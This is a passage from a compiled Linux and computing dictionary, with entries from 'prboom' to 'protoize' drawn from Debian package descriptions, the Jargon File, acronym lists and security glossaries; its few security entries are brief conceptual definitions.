A guide to great and usually unknown features in Debian (pt only) This is a practical guide to the Debian GNU/Linux Operating System. It intends to be a reference manual for the useful features that are quite unknown to most of the Debian users. It is primarily written in Portuguese, an english translation is expected, if you want to help with this, contact me. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prboom

clone of the legendary first person shooter Doom Doom is a 3d shoot'em'up game, written by id Software, first released in 1993. PrBoom is a version of Doom using the Simple Direct Media layer (SDL) library, which enables it to use XFree86, Linux framebuffer console, GGI, SVGA Lib or even color or monochrome text consoles as display. PrBoom is based on MBF and LxDoom, which in turn is based on Boom, a freely available port of Doom for DOS, written by TeamTNT (<http://www.teamtnt.com/>). To play you need some maps, called "WAD", the shareware version of doom is included in the doom-wad-shareware package (non-free section). You can use any other DOOM WADs as well. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pre-tools

GCC, GDB, binutils, etc. for PDAs using the PalmOS This package provides the GNU assembler, linker, compiler, debugger, and binary utilities necessary to compile PalmOS native programs on your Debian system. The created executables may be hot-synced to your Pilot using its included cradle and the pilot-link or kpilot software, also available as Debian packages. A brief list of included software is: nm, ar, strings, strip, gcc, as, ld, gdb, txt2bitm, obj-res, and build-prc. Please see the

prc-tools-doc package for detailed documentation on the standard toolchain components (gcc, as, ld, gdb etc). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRCS

Project Revision Control System (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prcs

The Project Revision Control System PRCS, the Project Revision Control System, is the front end to a set of tools that (like CVS) provide a way to deal with sets of files and directories as an entity, preserving coherent versions of the entire set. Its purpose is similar to that of SCCS, RCS, and CVS, but (according to its authors, at least), it is much simpler than any of those systems. Emacs-Lisp support is distributed in a separate package, prcs-el. Another package called prcs-synch contains a tool to synchronize PRCS projects between repositories, both locally and remotely. For further information look at <http://prcs.sourceforge.net> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prcs-el

ELisp support for the Project Revision Control System This package contains Emacs-Lisp add-on support for PRCS, the Project Revision Control System. It provides a useful interface for some PRCS commands (checkin, diff, info, and rekey) while editing project descriptor files (.prj). prcs-el is distributed separately from the prcs package because it depends on Emacs (or another "emacsen" flavor). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prcs-synch

Synchronize PRCS projects between repositories The prcs-synch script tries to synchronize two PRCS (Project Revision Control System) repositories. It requires a "remote" repository, which is assumed to have recent changes, vs. a "local" repository which is out of date. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prcs-utils

Utilities for PRCS Some utilities to be used in combination with PRCS (Project Revision Control System). Contains the following scripts: prcspatch, prcspatch2, prcsfind, prcsbranches, prcsguess, presentry, prcsstatus, and prcs_checkfiles. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prcs-visualtree

Visualize PRCS projects in a graph Scripts to show PRCS (Project Revision Control System) version tree as a graph using VCG (a visualization tool for compiler graphs). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

predict

Satellite Tracking Program with Optional Voice Output This is a satellite tracking program. It is probably mostly of interest to users of amateur satellites, but includes support for optionally announcing azimuth and elevation to help in manual antenna pointing, or optical observation of satellites. Several client programs are provided: earthtrack provides the ability to combine predict with xearth for pretty graphics, xearth must be installed to use it. geosat determines the 'look angles' for geostationary satellites based on their longitude, uses predict's data files for the groundstation location gsat graphical front-end for predicut using gtk The upstream predict sources also come with a front-end called 'map', but it is not included in the Debian package both because it requires the non-free xforms library, and because the name is too generic. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

preemptive multitasking

In an operating system, a means of running more than one program at a time. In preemptive multitasking, the operating system decides which application should receive the processor's attention. In contrast to cooperative multitasking, in which a busy application could monopolize the computer for as much as several minutes, a computer with a preemptive multitasking system seems much more responsive to user commands. Microsoft Windows 95 employs preemptive applications for 32-bit

applications, but not for 16-bit applications. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

preferences

GNUstep Preferences.app Preferences.app is, functionally, a clone of NeXTstep/OPENSTEP tool of the same name. Just like the original program, it's a simple application for setting preferences for the GNUstep system, with a friendly interface. The program is simple, but powerful — people can create new modules, called "bundles", that add new things to the program that its original developers did not think of or even intend — that don't require recompiling the main program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

premail

An e-mail privacy package. Premail adds support for encrypted e-mail to your mailer, using plain PGP, PGP/MIME, MOSS, or S/MIME. In addition, premail provides a seamless, transparent interface to the anonymous remailers, including full support for Mixmaster remailers and the nymservers. Nymserver provide crypto- graphically protected, fully anonymous accounts for both sending and receiving e-mail. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PREP

PowerPC REferenz Plattform (IBM, Apple), "PReP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prepend

/pre`pend/ vt. [by analogy with `append'] To prefix. As with `append' (but not `prefix' or `suffix' as a verb), the direct object is always the thing being added and not the original word (or character string, or whatever). "If you prepend a semicolon to the line, the translation routine will pass it through unaltered." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PREPNET

Pennsylvania Research and Economic Partnership NETwork (network, USA), "PREPnet" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prestimel

Tool to create presentations from a XML-file For each slide, PresTiMeL will create one (or a set of) HTML file(s), which can be shown in a Web browser of your choice. Cascading Style Sheets are used to provide the minor details of text styling, font, and color. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pretty good privacy (PGP)

Software that allows users to exchange files and messages encrypted over networks. The receiver cannot read the messages without a decryption key. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pretzel

Prettyprinter generator for noweb Pretzel is a system that builds prettyprinters; that is programs that will take some plain ASCII source code and generate a LaTeXified version for presentation. Pretzel has hooks to integrate with noweb, so that code chunks may be prettyprinted with pretzel's generated prettyprinters. Example prettyprinter source for C, C++, Pascal, and Dijkstra's Guarded Command Language are included. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

preview-latex

Render LaTeX equations etc. in an emacs buffer Purpose of the package is to embed LaTeX environments such as display math or figures into the source buffers. Only Emacs 21 is supported and XEmacs is not supported at present. Emacs 20 is (and will be) not supported. By mouse-clicking, you can open the original text. After editing, another click will just run the region in question through LaTeX and redisplay the new results. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRF

Problem Report Form (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRI

Primary Rate Interface (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRIDE

PRofitable Information by DEsign (IRM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

primaxscan

Primax Colorado Direct scanner software. This is a stand-alone driver program for the Primax Colorado Direct scanners and compatibles (e.g. Storm Totalscan, Network Scanny MM100, Genius Colorpage Vivid+) The command must be run by root because it wants direct access to the hardware parallel port. The software seems to be written only for i386 hardware. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

print

execute programs via entries in the mailcap file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

print

v. To output, even if to a screen. If a hacker says that a program "printed a message", he means this; if he refers to printing a file, he probably means it in the conventional sense of writing to a hardcopy device (compounds like `print job' and `printout', on the other hand, always refer to the latter). This very common term is likely a holdover from the days when printing terminals were the norm, perpetuated by programming language constructs like C's printf(3). See senses 1 and 2 of tty. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

print queue

A list of files that a print spooler in the background while the computer performs other tasks in they foreground. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

print server

In a local area network (LAN), a PC that has been dedicated to receiving and temporarily storing files to be printed, which are then doled out one by one to a printer. The print server, accessible to all the workstations in the network, runs print spooler software to manage a print queue. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

print spooler

A utility program that temporarily stores files to be printed in a print queue and doles them out one by one to the printer. See background printing, and print server. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printenv

print all or part of environment From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printer

Peripheral that uses ink or toner to output documents, images, and plain text files onto paper. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Printer Control Language (PCL)

A document rendering computer language developed by Hewlett-Packard Company for its line of inkjet and laser printers. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printer-testpages

These are sample files to check the output quality of printers. There is the CUPS test page with colour gradients, the Red Hat test pagewith image position checks, a photo test page and a text test page. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printf

format and print data From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printf

formatted output conversion From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printfilters-ppd

filters from the GNUlpr printing system These are a set of data conversion filters designed to work with ppdfilt. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printop

Graphical interface to the LPRng print system. printop is a Tcl/Tk program that gives you a graphical interface to control the printers and queues for UNIX-like systems using the LPRng print system. It uses the commands lpq, lpc, lprm to get information and control the printers and you just have to click with your mouse. In a large network it shows you all the printers and gives you the full functionality of the lprng commands, so you have a good overview of what is happening. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

printtool

Tk-based printer configuration tool This is an enhanced version of the Red Hat printtool, with autodetection of printers and PPD support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

priority interrupt

n. [from the hardware term] Describes any stimulus compelling enough to yank one right out of hack mode. Classically used to describe being dragged away by an SO for immediate sex, but may also refer to more mundane interruptions such as a fire alarm going off in the near vicinity. Also called an NMI (non-maskable interrupt), especially in PC-land. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prips

Print IP address on a given range prips can be used to print all IP addresses of a specified range. This allows the enhancement of the usability of tools that have been created to work on only one host at a time (e.g. whois). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRISM

Parallel Reduced Instruction Set Multiprocessing From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRISM

PRogrammed Integrated System Maintenance From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

private key

A unique file containing a password or other authentication information. It is used for decryption or encryption of transmitted data. Private keys are not shared, should not be readable by other users, and should be guarded from theft. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

private key

It contains encryption information and a fingerprint. It is generated locally on your system and should remain in a secure environment. If the private key is compromised, a perpetrator essentially has the code to your security system. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

privilege escalation (privilege elevation)

A classic attack against a system. A user has an account on a system, and uses that account to gain additional privileges they weren't meant to have. Key point: Virtually all local exploits are privilege escalation attacks. Key point: The most common example of this attack is through setuid programs that have known bugs in them, often through buffer overflows or race conditions. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRMD

PRivate Management DOMAIN (X.400, MHS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRML

Partial Response – Maximum Likelihood (HDD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRN

Pseudo Random Noise [code] (GPS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRNG

Pseudo Random Numer Generator From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRO

Precision RISC Organization (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process

A program or service running on a UNIX or UNIX-compatible computer system. Use the ps command to view running processes on a Red Hat Linux system. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Process

An executing program. (Also, see Multitasking and Multithreading.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process

An executing program. A process consists of the program code (which may be shared with other processes which are executing the same program), and some private data. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process (process ID, PID)

All software runs within an operating system concept known as a process. Each program running on a system is assigned its own process ID (PID). Users can easily obtain a process list (using Task Manager on Windows or ps on UNIX) in order to see what is running. Key point: Trojans, rootkits, and other evil software will attempt to hide themselves from the process list, either by providing replacements to the programs that list processes (like ps), or by hooking the system calls that enumerate processes. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process identifier

An integer used by the Linux kernel to uniquely identify a process. PIDs are returned by the fork system call and can be passed to wait() or kill() to perform actions on the given process. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process identifier

Shown in the heading of the ps command as PID. The unique number assigned to every process running in the system. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

process state

the stage of execution that a process is in. It is these states which determine which processes are eligible to receive CPU time. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

processor

See central processing unit (CPU). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmail

autonomous mail processor From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmail

The procmail program is used by Red Hat Linux for all local maildelivery. In addition to just delivering mail, procmail can be used for automatic filtering, presorting, and other mail handling jobs. Procmail is also the basis for the SmartList mailing list processor. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmail

Versatile e-mail processor. Can be used to create mail-servers, mailing lists, sort your incoming mail into separate folders/files (real convenient when subscribing to one or more mailing lists or for prioritising your mail), preprocess your mail, start any programs upon mail arrival (e.g. to generate different chimes on your workstation for different types of mail) or selectively forward certain incoming mail automatically to someone. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmail-lib

A library of useful procmail recipes. Includes recipes for auto-acknowledgement of incoming mail, recipes which recognize commands in the Subject: header and perform them, recipes to extract addresses, and a 'lint' script for procmail scripts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmeter

X based system status monitor, older version This is the older version of procmeter. You probably want to install the procmeter3 package instead of this one, unless you need features only present in this older version – namely, the ability to log to a file or syslog, and the ability to read data from named pipes. ProcMeter displays constantly updating graphs of system information. Many different graphs are supported, including: Total CPU usage, CPU used by user, niced, or system processes, CPU idle time, load average, number of context switches, number of processes. Amount of swapping, paging, swap in, page in, swap out, page out. Amount of disk accesses, reads, writes, or interrupts. MB of free, used, buffer, or cached memory. Amount of swap space used. Number of packets received or transmitted over local interfaces, ethernet, or slip/ppp. Number of collisions on ethernet, battery life stats. As if all that wasn't enough, procmeter also allows you to write programs that communicate with procmeter and add new graphs to the display. Procmeter can also log statistics to a file, and play it back later. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procmeter3

X based system status monitor ProcMeter displays constantly updating graphs of system information. Many different graphs are supported, including: APM information. Mailbox monitoring. Date, time, uptime. Amount of free and used disk space. Size, number of lines, rate of growth of log files. Amount of used and free memory and swap. Traffic on network devices. Load average, number of processes running and starting. Low level system statistics like CPU usage, disk usage and swapping. Wireless network link quality. As if all that wasn't enough, procmeter is designed to be easily extendable via plugins. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procps

The /proc file system utilities. These are utilities to browse the /proc filesystem, which is not a real file system but a way for the kernel to provide information about the status of entries in its process table. (e.g. running, stopped or "zombie") Both command line and full screen utilities are provided. Ncurses is needed for the full screen utilities. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

procps

The procps package contains a set of system utilities that provide system information. Procps includes ps, free, skill, snice, tload, top, uptime, vmstat, w, and watch. The ps command displays a snapshot of running processes. The top command provides a repetitive update of the statuses of running processes. The free command displays the amounts of free and used memory on your system. The skill command sends a terminate command (or another specified signal) to a specified set of processes. The

snice command is used to change the scheduling priority of specified processes. The tload command prints a graph of the current system load average to a specified tty. The uptime command displays the current time, how long the system has been running, how many users are logged on, and system load averages for the past one, five, and fifteen minutes. The w command displays a list of the users who are currently logged on and what they are running. The watch program watches a running program. The vmstat command displays virtual memory statistics about processes, memory, paging, block I/O, traps, and CPU activity. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

professional workstation

A high-performance personal computer optimized for professional applications in fields such as digital circuit design, architecture, and technical drawing. Professional workstations typically offer excellent screen resolution, fast and powerful microprocessors, and lots of memory. Examples include the workstations made by Sun Microsystems and NeXT, Inc. Professional workstations are more expensive than personal computers and typically use the UNIX-operating system. The boundary between high-end personal computers and professional workstations, however, is eroding as personal computers become more powerful. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROFIBUS

PROcess FIeld BUS From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

profile

n. 1. A control file for a program, esp. a text file automatically read from each user's home directory and intended to be easily modified by the user in order to customize the program's behavior. Used to avoid hardcoded choices (see also dot file, rc file). 2. [techspeak] A report on the amounts of time spent in each routine of a program, used to find and tune away the hot spots in it. This sense is often verbed. Some profiling modes report units other than time (such as call counts) and/or report at granularities other than per-routine, but the idea is similar. 3. [techspeak] A subset of a standard used for a particular purpose. This sense confuses hackers who wander into the weird world of ISO standards no end! From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROFS

PROfessional OFFice System (IBM, VM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proftpd

Versatile, virtual-hosting FTP daemon A powerful replacement for wu-ftp, this File Transfer Protocol daemon supports hidden directories, virtual hosts, and per-directory ".ftpass" files. It uses a single main configuration file, with a syntax similar to Apache. Because of the advanced design, anonymous-FTP directories can have an arbitrary internal structure (bin, lib, etc, and special files are not needed). Advanced features like multiple password files and upload/download ratios are also supported. This package contains only the basic functionality of proftpd and PAM authentication. If you need SQL, use proftpd-sql and if you need LDAP, use proftpd-ldap. More information can be found at <http://www.proftpd.net/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proftpd-common

Versatile, virtual-hosting FTP daemon A powerful replacement for wu-ftp, this File Transfer Protocol daemon supports hidden directories, virtual hosts, and per-directory ".ftpass" files. It uses a single main configuration file, with a syntax similar to Apache. Because of the advanced design, anonymous-FTP directories can have an arbitrary internal structure (bin, lib, etc, and special files are not needed). Advanced features like multiple password files and upload/download ratios are also supported. This package provides the common administrative programs. More information can be found at <http://www.proftpd.net/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proftpd-ldap

Versatile, virtual-hosting FTP daemon (with LDAP support) A powerful replacement for wu-ftpd, this File Transfer Protocol daemon supports hidden directories, virtual hosts, and per-directory ".ftpassess" files. It uses a single main configuration file, with a syntax similar to Apache. Because of the advanced design, anonymous-FTP directories can have an arbitrary internal structure (bin, lib, etc, and special files are not needed). Advanced features like multiple password files and upload/download ratios are also supported. This package contains the proftpd daemon compiled with support for LDAP user authentication. It also supports PAM authentication. More information can be found at <http://www.proftpd.net/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proftpd-mysql

Versatile, virtual-hosting FTP daemon (with SQL support) A powerful replacement for wu-ftpd, this File Transfer Protocol daemon supports hidden directories, virtual hosts, and per-directory ".ftpassess" files. It uses a single main configuration file, with a syntax similar to Apache. Because of the advanced design, anonymous-FTP directories can have an arbitrary internal structure (bin, lib, etc, and special files are not needed). Advanced features like multiple password files and upload/download ratios are also supported. This package contains the proftpd daemon compiled with support for MySQL user authentication. It also supports PAM authentication. More information can be found at <http://www.proftpd.net/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proftpd-pgsql

Versatile, virtual-hosting FTP daemon (with SQL support) A powerful replacement for wu-ftpd, this File Transfer Protocol daemon supports hidden directories, virtual hosts, and per-directory ".ftpassess" files. It uses a single main configuration file, with a syntax similar to Apache. Because of the advanced design, anonymous-FTP directories can have an arbitrary internal structure (bin, lib, etc, and special files are not needed). Advanced features like multiple password files and upload/download ratios are also supported. This package contains the proftpd daemon compiled with support for PostgreSQL user authentication. It also supports PAM authentication. More information can be found at <http://www.proftpd.net/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Program

A list of instructions, written in a programming language, that a computer can execute so that the machine acts in a predetermined way. Synonymous with software. The world of computer programs can be divided into system programs, utility programs, and application programs: * System programs include all the programs the computer requires to function effectively, including the operating system, memory management software, and command-line interpreters The MS-DOS operating system is an example of system software. * Utility programs include all the programs you can use to maintain the computer system. MS-DOS includes several utility programs such as CHKDSK. Most users equip their systems with utility packages (such as Norton Utilities or PC Tools) that go beyond the basics that MS-DOS provides. * Application programs transform the computer into a tool for performing a specific kind of work, such as word processing, financial analysis (with an electronic spreadsheet), or desktop publishing. Additional software categories include programming languages, games, educational programs, and a variety of vertical market programs. See executable program, high-level programming language, and machine language. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

program

n. 1. A magic spell cast over a computer allowing it to turn one's input into error messages. 2. An exercise in experimental epistemology. 3. A form of art, ostensibly intended for the instruction of computers, which is nevertheless almost inevitably a failure if other programmers can't understand it. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proj

Cartographic projection filter and library Proj and invproj perform respective forward and inverse transformation of cartographic data to or from Cartesian data with a wide range of selectable projection functions (over 100 projections). Geod and invgeod perform geodesic (Great Circle) computations for determining latitude, longitude and back azimuth of a terminus point given a initial point latitude, longitude, azimuth and distance (direct) or the forward and back azimuths and distance between an initial and terminus point latitudes and longitudes (inverse). See the package proj-ps-doc for documentation in PostScript format. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROLOG

A high-level programming language used in artificial intelligence research and applications, particularly expert systems. PROLOG, short for PROgramming in LOGic, is a declarative language; rather than tell the computer what procedure to follow to solve a problem, the programmer describes the problem to be solved. The language resembles the query language of a database management system such as Standard Query Language (SQL) in that you can use PROLOG to ask a question such as, "Is Foster City in Californian's But an important difference exists between PROLOG and a database management system (DBMS). A database contains information you can retrieve; a PROLOG program, in contrast, contains knowledge, from which the program can draw inferences about what is true or false. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROLOG

PROgramming in LOGic From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prolog

SWI-Prolog 5.0.0 From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROM

Partial Read Only Memory (ROM), "P-ROM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROM

Programmable Read Only Memory (ROM, IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prom-mew

procmail reader for Mew This Emacs lisp acts as a bridge between Mew the mailer and e-mail processors like procmail. It analyzes the log generated by procmail, then tells you which letters are unread and where they are. The usage is somewhat similar to that of GNUS/Gnus. Note: the upstream author has lost interest in the development of this utility, so do not expect further improvement. Bug reports are still welcome. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROMATS

PROgrammable Magnetic Tape System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

promiscuous mode

Operation status where a network device such as a network interface card (NIC) is able to read and intercept all traffic on a network to which it is connected. Malicious users can set this mode on a network device to capture private information that was not intended for them. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prompt

Object that is displayed on a computer screen as an indication to the user to perform a task, such as type a command, a password, or file name. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pronto

Highly modularized GTK+ mail client written in Perl Features include full mbox support, qmaildir support, multiple POP3 account support, filters, MIME support, smart addressbook, and more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

propaganda-debian

A Propaganda background image volume for Debian. This package contains images intended to be used as desktop backgrounds. This particular propaganda volume was especially put together for Debian and includes images from previous volumes as well as some tiles especially put together for debian. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROPAL

PROgrammed PAL From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

proprietary

adj. 1. In marketroid-speak, superior; implies a product imbued with exclusive magic by the unmatched brilliance of the company's own hardware or software designers. 2. In the language of hackers and users, inferior; implies a product not conforming to open-systems standards, and thus one that puts the customer at the mercy of a vendor able to gouge freely on service and upgrade charges after the initial sale has locked the customer in. Often in the phrase "proprietary crap". 3. Synonym for closed-source, e.g. software issued in binary without source and under a restrictive license. Since the coining of the term open source, many hackers have made a conscious effort to distinguish between `proprietary' and `commercial' software. It is possible for software to be commercial (that is, intended to make a profit for the producers) without being proprietary. The reverse is also possible, for example in binary-only freeware. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prospel

Propagate X selections between displays prosel is useful to people who work with more than a single X11 display on their desk. It allows one to paste into a xterm on one display the contents of the selection of another display. For example, it's useful for situations where you have a URL on one display, and want to access it with a browser running on another display. You can select the URL, click "propagate", move over to the other display, and then paste into the browser. If you have the two displays on the same desk, you might be more interested in the package x2x. However, x2x can only link two displays at once, whereas prosel can propagate selections between up to 8 displays. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROS

??? [protocol] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

prosper

LaTeX class for writing transparencies Prosper is a LaTeX class for writing transparencies. It is written on top of the seminar class by Timothy Van Zandt. It aims at offering an environment for easily creating slides for both presentations with an overhead projector and a video projector. Slides prepared for a presentation with a computer and a video projector may integrate animation effects, incremental display, and such. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PROTEL

PRocedure Oriented Type Enforcing Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Protocol

A formal set of standards, rules, or formats for exchanging data that assures uniformity between computers and applications. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protocol

a set of rules that defines exactly how information is to be exchanged between two systems. This allows different types of machine to communicate in a form both understand. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protocol

A standard framework or procedure for communication and data transmission. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protocol

n. As used by hackers, this never refers to niceties about the proper form for addressing letters to the Papal Nuncio or the order in which one should use the forks in a Russian-style place setting; hackers don't care about such things. It is used instead to describe any set of rules that allow different machines or pieces of software to coordinate with each other without ambiguity. So, for example, it does include niceties about the proper form for addressing packets on a network or the order in which one should use the forks in the Dining Philosophers Problem. It implies that there is some common message format and an accepted set of primitives or commands that all parties involved understand, and that transactions among them follow predictable logical sequences. See also handshaking, do protocol. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protocol

The rules that govern how things communicate over the network. Key point: By manipulating the protocol raw themselves, hackers can do powerful things that are impossible in an application. For example, client applications typically limit the length of a username that can be typed in. By manipulating the protocol raw, hackers can supply any sized username they want, sometimes causing a buffer overflow exploit. Key point: Protocols are either text-based or binary. Text-based protocols can be read directly off the wire and manipulated directly. Binary protocols require a protocol analyzer to decode them, and must be manipulated programmatically. See also: See the section on "banners" for examples of what some protocols look like on the wire. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protocol stack

In networking, protocols are layered on top of each other, with each layer responsible for a different aspect of communication. For TCP/IP, the protocol stack looks something like: HTTP Telnet POP3 SNMP bootp TCP UDP ICMP IP ARP PPP Ethernet The way that you would use this diagram is the following paragraph: You use the protocol HTTP to request a web-page. The HTTP client (web-browser) contacts the HTTP server (web-site) using the protocol TCP. The protocol TCP segments all its work into IP packets. Routers on the Internet know how to forward the IP packets, but are clueless as to whatever is inside the IP packets. Your machine will use something like PPP or Ethernet in order to send IP packets to the nearest router. Key point: Encryption can happen at any layer. Payload The data itself can be encrypted independent of the protocols used to transport it. For example, a typical use of PGP is to encrypt a message before sending via e-mail. All the e-mail programs and protocols are totally unaware that this has occurred. Application Layer Some applications have the ability to encrypt data automatically. For example, SMB can encrypt data as it goes across the wire Transport Layer SSL is essentially encryption at the transport layer. Network Layer IPsec provides encryption at the network layer, encrypting all the contents above IP, including the TCP and UDP headers themselves. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Protocols

Formal descriptions of what format should be used for messages by two or more computers wishing to communicate. FTP and SMTP are examples of such protocols. From Faculty-of-Education <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protoize

Create/remove ANSI prototypes from C code "protoize" can be used to add prototypes to a program, thus converting the program to ANSI C in one respect. The companion program "unprotoize" does the reverse: it removes argument types from any prototypes that are found. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

protoize-2.95

